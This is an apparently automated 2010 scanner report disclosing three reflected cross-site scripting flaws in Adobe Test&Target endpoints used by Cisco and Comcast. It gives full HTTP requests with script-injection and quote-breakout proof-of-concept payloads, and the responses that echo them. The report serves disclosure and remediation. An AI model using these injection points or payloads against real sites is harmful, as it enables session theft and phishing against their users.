tt.omtrdc.com, XSS, Cross Site Scripting in AD CDN

Cross Site Scripting in tt.omtrdc.com | Ad CDN | XSS | Vulnerability Crawler Report

Report generated by XSS.CX at Sun Dec 19 11:54:58 CST 2010.


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1. Cross-site scripting (reflected)

1.1. http://ciscosystemsinc.tt.omtrdc.net/m2/ciscosystemsinc/mbox/ajax [mbox parameter]

1.2. http://comcastresidentialservices.tt.omtrdc.net/m2/comcastresidentialservices/mbox/standard [mbox parameter]

1.3. http://comcastresidentialservices.tt.omtrdc.net/m2/comcastresidentialservices/mbox/standard [mboxURL parameter]



1. Cross-site scripting (reflected)
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://ciscosystemsinc.tt.omtrdc.net/m2/ciscosystemsinc/mbox/ajax [mbox parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ciscosystemsinc.tt.omtrdc.net
Path:   /m2/ciscosystemsinc/mbox/ajax

Issue detail

The value of the mbox request parameter is copied into the HTML document as plain text between tags. The payload 11163<script>alert(1)</script>77c9c69419c was submitted in the mbox parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /m2/ciscosystemsinc/mbox/ajax?mboxHost=www.cisco.com&mboxSession=1292775346598-691054&mboxPage=1292775396880-511445&screenHeight=1200&screenWidth=1920&browserWidth=1189&browserHeight=971&browserTimeOffset=-360&colorDepth=16&mboxCount=2&mbox=mboxClickTrack11163<script>alert(1)</script>77c9c69419c&mboxId=0&mboxTime=1292753796880&clicked=US-Collab-Collab-M-ITVitality&mboxURL=http%3A%2F%2Fwww.cisco.com%2Fen%2FUS%2Fproducts%2Fps6788%2FProducts_Sub_Category_Home.html%3FPOSITION%3DSEM%26COUNTRY_SITE%3Dus%26CAMPAIGN%3DHN%26CREATIVE%3DUnified%2BCommunications%26REFERRING_SITE%3DUnified%26KEYWORD%3Dbusiness%2Bvoip&mboxReferrer=&mboxVersion=40 HTTP/1.1
Host: ciscosystemsinc.tt.omtrdc.net
Proxy-Connection: keep-alive
Referer: http://www.cisco.com/en/US/products/ps6788/Products_Sub_Category_Home.html?POSITION=SEM&COUNTRY_SITE=us&CAMPAIGN=HN&CREATIVE=Unified+Communications&REFERRING_SITE=Unified&KEYWORD=business+voip
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/JavaScript
Content-Length: 318
Date: Sun, 19 Dec 2010 16:26:47 GMT
Server: Test & Target

mboxFactories.get('default').get('mboxClickTrack11163<script>alert(1)</script>77c9c69419c',0).cancelTimeout();mboxFactories.get('default').get('mboxClickTrack11163<script>alert(1)</script>77c9c69419c'
...[SNIP]...

1.2. http://comcastresidentialservices.tt.omtrdc.net/m2/comcastresidentialservices/mbox/standard [mbox parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://comcastresidentialservices.tt.omtrdc.net
Path:   /m2/comcastresidentialservices/mbox/standard

Issue detail

The value of the mbox request parameter is copied into the HTML document as plain text between tags. The payload e7249<script>alert(1)</script>a1e46626ff7 was submitted in the mbox parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /m2/comcastresidentialservices/mbox/standard?mboxHost=shop.comcast.com&mboxSession=1292775334802-298696&mboxPage=1292775334802-298696&mboxCount=1&mbox=OTOi_CDV_Teste7249<script>alert(1)</script>a1e46626ff7&mboxId=0&mboxTime=1292753734806&mboxURL=http%3A%2F%2Fshop.comcast.com%2Fphone-service%2F%3FCMP%3DKNC-CCRSRTBG-9121413150011%26s_kwcid%3DTC-1734-2900720730-e-302123073&mboxReferrer=&mboxVersion=38 HTTP/1.1
Host: comcastresidentialservices.tt.omtrdc.net
Proxy-Connection: keep-alive
Referer: http://shop.comcast.com/phone-service/?CMP=KNC-CCRSRTBG-9121413150011&s_kwcid=TC-1734-2900720730-e-302123073
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/javascript
Content-Length: 209
Date: Sun, 19 Dec 2010 16:26:39 GMT
Server: Test & Target

mboxFactories.get('default').get('OTOi_CDV_Teste7249<script>alert(1)</script>a1e46626ff7',0).setOffer(new mboxOfferDefault()).loaded();mboxFactories.get('default').getPCId().forceId("1292775334802-298696.20");

1.3. http://comcastresidentialservices.tt.omtrdc.net/m2/comcastresidentialservices/mbox/standard [mboxURL parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://comcastresidentialservices.tt.omtrdc.net
Path:   /m2/comcastresidentialservices/mbox/standard

Issue detail

The value of the mboxURL request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b0c52'%3balert(1)//0f74ac4785e was submitted in the mboxURL parameter. This input was echoed as b0c52';alert(1)//0f74ac4785e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /m2/comcastresidentialservices/mbox/standard?mboxHost=shop.comcast.com&mboxSession=1292775334802-298696&mboxPage=1292775334802-298696&mboxCount=1&mbox=OTOi_CDV_Test&mboxId=0&mboxTime=1292753734806&mboxURL=http%3A%2F%2Fshop.comcast.com%2Fphone-service%2F%3FCMP%3DKNC-CCRSRTBG-9121413150011%26s_kwcid%3DTC-1734-2900720730-e-302123073b0c52'%3balert(1)//0f74ac4785e&mboxReferrer=&mboxVersion=38 HTTP/1.1
Host: comcastresidentialservices.tt.omtrdc.net
Proxy-Connection: keep-alive
Referer: http://shop.comcast.com/phone-service/?CMP=KNC-CCRSRTBG-9121413150011&s_kwcid=TC-1734-2900720730-e-302123073
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
pragma: no-cache
Content-Type: text/javascript
Content-Length: 824
Date: Sun, 19 Dec 2010 16:26:41 GMT
Server: Test & Target

var mboxCurrent=mboxFactories.get('default').get('OTOi_CDV_Test',0);mboxCurrent.setEventTime('include.start');document.write('<div style="visibility: hidden; display: none" id="mboxImported-default-OTOi_CDV_Test-0">');mboxCurrent.setOnLoad(function() {window.location.replace('http://shop.comcast.com/phone-service/default2.html?s_kwcid=TC-1734-2900720730-e-302123073b0c52';alert(1)//0f74ac4785e&CMP=KNC-CCRSRTBG-9121413150011');});document.write('<!-- Offer Id: 26703 -->
...[SNIP]...

Report generated by XSS.CX at Sun Dec 19 11:54:58 CST 2010.